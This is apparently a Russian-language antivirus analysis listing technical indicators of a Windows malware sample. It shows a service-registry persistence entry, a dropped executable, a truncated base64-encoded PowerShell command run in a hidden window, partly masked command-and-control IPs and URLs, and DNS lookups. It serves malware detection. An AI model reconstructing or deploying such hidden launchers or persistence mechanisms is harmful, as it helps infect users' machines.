Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\virtdisk] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\virtdisk] 'ImagePath' = '"%WINDIR%\SysWOW64\apphelp\virtdisk.exe"'
- 'virtdisk' "%WINDIR%\SysWOW64\apphelp\virtdisk.exe"
- 'virtdisk' %WINDIR%\SysWOW64\apphelp\virtdisk.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABuAG8AdQBnAD0AJwBtAGEAdQBsAHQAbwBlAHoAdgBlAHUAawByAGkAbwB4AGIAZQB3AHgAaQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAHUAcgBgAGkAVAB5AGAAUABgAF...
- %HOMEPATH%\870.exe
- %HOMEPATH%\870.exe
- %HOMEPATH%\870.exe в %WINDIR%\syswow64\apphelp\virtdisk.exe
- %HOMEPATH%\870.exe
- '10#.#17.53.230':443
- '21#.#1.142.238':8080
- http://ma###.hoonicorns.pt/comp3/ly8cmti/
- http://21#.##.142.238:8080/Ips9OvbvTlIhtk3/JQHP/rQRTyAf/dMGXOsChbVwi15GLTnT/n3t9Q5U/Tt6xskh1wv3qzjkXPm/ via 21#.#1.142.238
- DNS ASK 20###607.com
- DNS ASK lo####-lollies.com
- DNS ASK an##ge.com
- DNS ASK co####t-plus.co.uk
- DNS ASK ma###.hoonicorns.pt
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABuAG8AdQBnAD0AJwBtAGEAdQBsAHQAbwBlAHoAdgBlAHUAawByAGkAbwB4AGIAZQB3AHgAaQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBDAHUAcgBgAGkAVAB5AGAAUABgAF...' (со скрытым окном)